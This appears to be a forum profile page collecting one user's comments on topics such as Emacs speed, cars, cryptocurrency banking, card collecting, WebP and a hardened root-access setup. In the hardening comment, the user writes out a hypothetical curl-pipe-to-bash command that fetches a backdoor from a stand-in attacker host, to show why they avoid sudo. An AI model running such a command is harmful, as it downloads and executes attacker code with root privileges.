Better HN
topnewbestaskshowjobs
Log inSign up

TacticalCoder

10,594 karma · joined Dec 4, 2013 (12y ago) · 4,862 submissions

email: I'll add a suitable email one of these days
Submissions

comment 2y ago · link · parent

> early 2010's, i land for the first time in Japan, with vague instructions to meet my AirBnB host "by the entrance to Shinjuku Station"

A famous and much easier one in Tokyo is to meet at the dog [1]. Now, granted, it's in Shibuya and not in Shinjuku.

Darn do I miss Tokyo...

[1] https://en.wikipedia.org/wiki/Hachik%C5%8D

comment 2y ago · link · parent

> And it worked for a long while until the only survivors are ones that aren’t attracted to the taste of the poison.

I used that product in a vacation house in Spain and it really worked wonders. And that was around 2017/2018. So not all cockroaches have evolved yet!

comment 2y ago · link · parent

To be fair on a modern setup it is fast. Sure it's not nano or vi(m) but compared to Electron-based stuff, it's plenty fast.

Five years ago:

    time emacs -Q -eval '(kill-emacs)'
would be slow at 320 ms.

But on a "recent" AMD 7700X that'd be 80ms.

That's starting emacs, evaluating elisp code, and exiting Emacs.

Surely if you can start Emacs, execute elisp, code and exit in 80ms it shouldn't lag too much to insert a character.

Now, I know, some modes can be slow. But Emacs in recent version as seen lots of changes enhancing its performances. And hardware have become really very fast.

YMMV but my Emacs is really incredibly responsive.

P.S: I was already using Emacs on a 486 back in the "Eight Megabytes And Constantly Swapping" days. The joke was fun and true. Nowadays Emacs is actually one of the lightest sofware I use.

comment 2y ago · link · parent

I keep a few screenshots of such hilarious occurrences. One of my favorite one is a list of stock prices on a website where something had gone wrong and numbers were all in the thousands of trillions of USD. For a split second before my morning coffee I wondered if the world had just experienced hyper-inflation overnight. The bug only lasted a few minutes but it was "cool".

Now the thing is: safety checks and then what? Because basically such safety checks are only really useful for developers and, arguably, should be stuff present in some kind of tests. What can the UI do? Not show any estimate when the numbers would be nonsensical?

Another wonderful screenshot I have is some old MS software where something failed and it tells me one of the reason it failed may be because "your computer is turned off". I mean: it was literally using that very same computer to tell me, in a pop-up, that my computer could be off.

Fun stuff but I wouldn't sleep (or write a blog) about it: a comment on HN at most ; )

comment 2y ago · link · parent

> Many called it the "Two Forty Zee" while many of us naturally said "Two Forty Zed."

Isn't "zed" vs "zee" mostly a US vs UK thing? Wouldn't "two forty zee" be natural to many?

comment 2y ago · link · parent

> Sounds like black hat tax accounting. If it's still worth something after 3 years it would be an in-kind payment which will need to be taxed.

Not really black hat though: it's extremely common. In many countries there are specific rules as to how much you can deduce: say 33.33% yearly and after three years it's considered to have a residual value of zero or 20% yearly and after five years it's considered 0.

But then: if you play by the rule, by not deducing 100% in a year... After x years it is considered to be worth just that: zero.

So even though "it's still worth something", from an accounting point of view it can be worth zero (depending on the item).

So you can do whatever you want with it even if it's true value is not zero. You can burn it, stash it, give it away for free.

Basically: anything you do with it except specifically sell it is easier from an accounting point of view.

Things get a bit more complicated when you cannot deduce 100% over x years but only, say, 60% over x years. Then the company, logically, is supposed to sell the item (laptop, bicycle, car) for 40% of the residual value to the item.

For example a friend of mine had his company buy him a 10 K EUR bicycle (no kidding) and after x years (don't remember if it was 3 or 4), he bought the bicycle for himself for 2 K EUR.

comment 2y ago · link · parent

> This makes me a feel a lot better about choosing a Toyota over a Tesla back in 2019.

To anyone not into cars I'll give a simple advice: unless you really do a lot of high-speed highway driving (that'd be 80mph+ / 130km/h+, european highways speed), simply buy a Toyota.

I don't think you can go very wrong buying a Toyota.

And this comes as a german cars lover.

The only reason wife traded her Toyota CH-R for a BMW is because we do lots of (european) highway driving and we felt the CH-R was too noisy on the highway (at 80 mph: at 55 mph it's totally fine).

Buy a Toyota, make sure to do the maintenance needed in official Toyota dealership so you can extended the Toyota warranty for as long as possible.

And you're good to go.

comment 2y ago · link · parent

> Were they luxury cars, like teslas?

Teslas are priced as luxury cars but they aren't luxury cars. They have strong selling points, like the amazing battery compared to other EVs or their looks (I do find the Model S very nice / sleek) but the quality of the interior/materials and sound proofing simply isn't there, not by a mile.

Here's a list, for example, of some actual luxury cars:

https://en.wikipedia.org/wiki/F-segment

I was highly disappointed when I went in a Model S: I'm used to actual luxury cars and I simply don't know how to put it nicely: to me a Model S is a complete rip off price-wise.

I'd urge anyone thinking that Tesla is luxury to go in a Mercedes dealership and sit in a class S or go to a Porsche dealership and sit in a Panamera (or in the Taycan 100% EV). That is luxury.

FWIW the Tesla Model S and Porsche Panamera (for example) entry models begin at the same price so it's not apple and orange comparison: that's why I say Tesla is sold as luxury, at the price of luxury, but is not luxury.

comment 2y ago · link · parent

> If you can manage it financially and you can culturally manage to live in a more rural area, you'll won't want to go back, either.

I fully agree with this. I lived about six years and half, altogether, in a rural area and I loved every moment of it. Connection to nature is not a one-day trip during the week-end and it's certainly not a walk in a city park.

> I wouldn't want to go back to work-from-spare-bedroom or work-from-closet.

I don't mind the spare bedroom: I love it. Bathroom is nearby, coffee machine too. I mean, sure, I could duplicate this in a second home next to the first one but why bother?

I need a three bedrooms for that: parents, kiddo and office...

comment 2y ago · link · parent

> “Good luck cashing out those millions!” cashes out hundreds of millions

I'm helping a non-tecchie with the technical details (she bought Bitcoin years ago, stored them on a Ledger with the help of someone, has no idea how to safely get them out / how to update her Ledger / etc.) and there's some truth to what you say but...

In the EU at least it can be very difficult to cash out any sizeable amount. 10 K? Sure, fine. 10 millions and more? You go to a private bank and they'll be very interested in helping you out. But you have anywhere from a few hundred Ks to 2 or 3 millions: that's too small of a fry for a private bank and way too scary for people doing KYC/AML at regular consumer banks.

I'm literally talking about banks kicking people out as soon as they mention they have 1 million+ in crypto.

Put it this way: it's easier to cash out hundreds of millions than it is to cash out one million.

It's all people working in banks/finance/funds around me and that subject comes out often. There are people who manage to cash out but there also people having lots of issues. Cashing out a sizeable amount is doable but it can definitely be very complicated. At least in the EU.

P.S: btw I'm talking about ordinary people who did absolutely nothing wrong: they just made an ultra speculative (but legal) investment in Bitcoin and/or shitcoins which, on paper, paid off.

comment 2y ago · link · parent

> How much artificial vs non-artificial demand is there?

I sure have no idea but there's demand and then there's supply. Supply of newly minted Bitcoins is going down by 50% in four months.

I don't know who's buying all the coins but miners have costs to cover and it's known they exert a lot of pressure by selling part of their mined Bitcoins.

That was Satoshi's great middle finger (I don't care if it's good or not: I see it as masterclass trolling): create something which, unlike, say, the USD, cannot be printed at will.

comment 2y ago · link · parent

> ... apart from the fact that they also belong to the Volkswagen Group

Volkswagen group with itself belongs to the Porsche SE holding. The Porsche SE holding is the biggest owner of Volkswagen shares (with 1/3rd of all the shares) and holds the majority of the shares with voting rights.

And the Porsche SE holding shares are mostly held by the two Porsche and Piech families.

So, in the end, Porsche the car manufacturer belongs to the VW group which itself belongs to the Porsche SE holding which itself belongs to the Porsche (and Piech) families.

comment 2y ago · link · parent

> So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security.

That is very interesting: I'll study that.

You're correct: it's a Debian 12.2 install (seriously hardened). I take it the surface attack is small. I'm literally using only SSH from that machine: it's got a firewall too. It's only allowing new SSH out session to the desktop. Every other traffic is rejected.

So what can realistically affect that machine? SSH exploits for sure...

So for example for the recent SSH "terraspin" exploit, I did implement the workaround (by removing broken Ciphers and MACs from the list of authorized ones).

I don't know about the rest: I mainly SSH as root into the desktop when I need to install a new package and that's about it.

I'm not losing too much sleep over that machine that is on a private LAN and which is not directly connected to the Internet (I'm running both 192.168.x.x and 10.x.x.x at home).

I'm not saying it's a panacea: it was mostly a proof of concept and as it's working fine for my usecase, I kept using it.

comment 2y ago · link · parent

Well first I never understood this mentality: "If my main account is compromised, then I lost anything anyway".

For those who believe that's true, why not run everything as root? I mean, seriously: why not just run the browser as root?

comment 2y ago · link · parent

Not only did I play Diablo 2 (TFA is about Diablo 2, not about Diablo) a huge lot but... One of my most prized possession is an original arcade PCB of Moon Patrol from 1982. It's crazy: it's got 3 layers (2 full size PCBs and then one half size) and it's definitely my bulkiest PCB [1]! Still works, too!

So I did enjoy TFA a lot.

[1] https://commons.wikimedia.org/wiki/File:Moon_patrol_original...

comment 2y ago · link · parent

> This also seems like it would then allow those same users to ssh directly to root from a remote connection

I am using something a bit different than what TFA explains, but it's not dissimilar.

There's no sudo on my machine. The password to get to root is, on purpose, super long and very obnoxious: it's not realistic to type it every time I need root.

So I do I gain root access? Through a private LAN on which there are only two machines: my main machine and my "laptop for root access". So I have a laptop that has no Internet access and that is only connected, through a private LAN, to my main machine. I "ssh root@desktop" and then I tap my Yubikey (SSH is configured to refuse password login and the only key is protected by a Yubikey).

Does it mean "ssh root@..." is allowed on the desktop? Well, yes but:

    - there's no password authentication allowed
    - the only public key allowed has the matching private key on a Yubikey
    - the Yubikey is hooked to a laptop
    - the desktop has a firewall only allowing SSH in from my laptop's IP
So I'm not too concerned.

So there's never any sudo or any su with a terminal opened on the desktop. And I don't need to trust anything I see on the desktop: I only trust what I on my laptop, after ssh'ing using the Yubikey to the desktop.

Because here's the thing: if an attacker has an exploit and can run sudo on my machine, then the terminal where I do "sudo apt-get install xcalc" might has well be "sudo curl http://evil-attacker/privilege-escalation-to-backdoor | bash" (while pretending, on screen, it's "sudo apt-get install xcalc"). And then my Yubikey asks me to click, I click (because I want to install xcalc). And I'm owned.

While good luck doing that on a laptop that is only ever used to establish an SSH session.

I'm also using lots of the hardened kernel and boot parameters (like preventing users from seeing other users' processes) and other little tricks explained in many hardening guides.

Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue.

P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.

comment 2y ago · link · parent

Wait... Can DNS resolvers be configured so that RFC1918 is respected?

I mean: I don't expect anything less from Microsoft than doing stuff like that and it cannot affect me for I nullroute microsoft.com from my unbound server (unboud takes wildcard when nullrouting or NXDOMAINing crap domains like microsoft.com or meta.com etc., which is sweet).

However I'd expect my trusty DNS resolver to also prevent me from anyone not on my private LANs to impersonate addresses reserved for private uses.

Does anyone know here if it's easily doable?

comment 2y ago · link · parent

> In San Francisco, then-Mayor Willie Brown, flanked by his motorcade, drove down to Union Square and exhorted residents to buy, buy, buy.

Well yes because...

> 84% of Americans are worried about the economy. So why do we keep buying things?

If we stop, the economy stops too. And then the real shit hits the fan.

comment 2y ago · link · parent

I think the real issue is they promised 10 minutes max then once 15 minutes elapsed and the pilot complained, tower told the pilot to GTFO. It just feels wrong.

comment 2y ago · link · parent

I'm pretty sure I heard about it here on HN... Basically civil asset forfeiture has been so bad that they're revising the bills.

Things got so fucked up that there are police departments that were stealing people's wealth using civil asset forfeiture to then buy military vehicles.

It went too far and everybody agrees on that and I think congress did / is going to do something about it. TFA is from 2015, here's a bill from 2023:

https://www.congress.gov/bill/118th-congress/house-bill/1525

Not sure where it's at but at least there's some hope.

comment 2y ago · link · parent

> Meanwhile, France did...

Where did I talk about France? I was commenting on your comment about movies portaying Russia has being "propaganda".

> The rest of stuff is the same level of pathetic. Eastern Germans complaining they didn't get access to white privilege, that they deserve by birthright, for almost forty years is sure tragic.

What does "white privilege" have to do with anything in post-WWII Europe?

Are you really going down that route? Germany (both western and eastern) had been levelled to ground during WWII, with many german civilians killed. Wanna talk about their "white privileges"? You wanna talk about the "white privilege" of my grandfather who spent five years in a prison in germany during WWII or the "white privilege" of all the countries in Europe who were living under the dictature of nazi germany?

Wanna talk about the "white privilege" of the tens of thousands of US soldiers who died to free Europe?

Maybe you wanna talk too about the "jewish privilege" during WWII too?

EDIT: oh... apparently you're russian or you live in Russia. So you're defending the USSR and you're not commenting on the invasion of Ukraine. Makes sense now.

comment 2y ago · link · parent

> Then we have at least half a century of Russia being abused that way...

Ah yup... Because Stalin who wanted to execute 30 000 Nazis officer to "give an example" was a saint? (for the record it's Churchill who opposed to that)

And the attitude of the USSR during the cold war was a respectable one?

As in: people in eastern germany were happy to live on that side of the Berlin wall and not in western germany instead?

Seriously: russians weren't villain-worthy enough to you during the cold war?

Ask ukrainians what they think about your point of view...

comment 2y ago · link · parent

> There’s only two camps, investors and gamers.

It's not that black and white. I used to play the game in the mid nineties. The most expensive card I bought back then I paid the equivalent of 5 EUR (the Euro didn't even exist yet) because I needed it for a deck but that card came out before I started playing.

I'm not an investor in MtG cards. But my collection went up in value. Nothing crazy (I don't have any of the "power nines") but with 28 dual lands, the most valuable card from Legends (The Tabernacle At Pendrell Vale) and the most valuable card from Arabian Night (Bazaar of Baghdad) and a few others, I'm sitting easily on 20 K EUR atm.

I didn't do it on purpose: I simply never got rid of my cards, not paying attention to the price. I just like my old cards and they bring me back memories when I look at them.

I'm take it I'm in a third category: nostalgic people who simply like their very own (and very old) cards.

comment 2y ago · link · parent

I've always heard "jee rah" and it's very close to the way french coworkers used to pronounce it in french too.

If I'm not mistaken Atlassian Jira promotional vids and tutorials do say "jee rah" too.

And FWIW, not a very reliable source but ChatGPT says it's that too if you ask it.

Are people saying "jie ray"?

comment 2y ago · link · parent

I still have the Odhner calculator, as seen on page 19 of that PDF, that my grandfather was still using at his SME in the eighties (he owned a little SME making tailor-made clothes)! I think that at some point in the fifties he bought a stock of desks, calculators, typewriters, etc., used, from another company. And then he kept using these old machines for decades.

As a teenager I'd go help for a few bucks: I'd use the typewriter to write letters plus actual "carbon copies" (literally putting two or three sheets of paper separated by a carbon sheet).

Never understood how that Odhner calculator worked but I still have it (and I had no idea it was from 1920: TIL)!

P.S: I also wrote my first program used "for real" back then: I wrote a program on my Commodore 64 that'd compute the discount for his clients (like, say, hotels) according to how many suits they'd buy. And I printed the results on a dot-matrix printer. This saved my grandpa lots of time!

comment 2y ago · link · parent

I don't care what the problems are: what we need is not people reporting other people to the kommandantuur. It simply isn't.

comment 2y ago · link · parent

That'd be some form of "plausible deniability" (although the term has a lot of different meanings depending on the context).

I know it exists for certain cryptocurrencies hardware wallets: they can be setup (but are not required to) so that one PIN unlocks the real wallet and another PIN unlocks a decoy wallet, which only has some coins.

P.S: people are probably going to point out the $5 wrench attack though

comment 2y ago · link · parent

> On the technical side, webp support still isn't like png.

Oh that's a good point.

I see lossless WEBP mostly as a way to save bandwith where PNG would have been used. If you've got a pipeline where, anyway, you already "crush" your PNG file, you may as well also generate a lossless WEBP file and serve that: all browsers support it. And you can fall back on the optimized PNG should the browser not support WEBP.

I mean: I use WEBP, but only lossless WEBP, as a replacement for PNG when I'd serve PNG files to browsers.

But for that one usecase: showing a PNG file in a webpage, I don't see that many downsides to lossless WEBP. It saves bandwith.

comment 2y ago · link · parent

> I've noticed the same issue with WebP and have gone back to JPG/PNG for most things (jpg for photos, png for UI-type images)

Wait... I agree for JPG but if you use lossless WEBP instead of PNG, isn't it simply the same pixels, just with a file about 30% smaller than the corresponding PNG file? (and 15% smaller compared to already heavily optimized PNG files like when using zopfli/optipng/etc.).

Isn't the "lossless" in "lossless WEBP" actually lossless when converting a PNG file to WEBP?

FWIW when you convert losslessly a PNG to WEBP, then decompress the WEBP back to a PNG file, then convert again that PNG back to a WEBP file, you get the exact same lossless WEBP file. It's also the same WEBP you get when you encode losslessly from either a PNG or that same PNG but "crushed" with a PNG optimizer.

1
101102103
163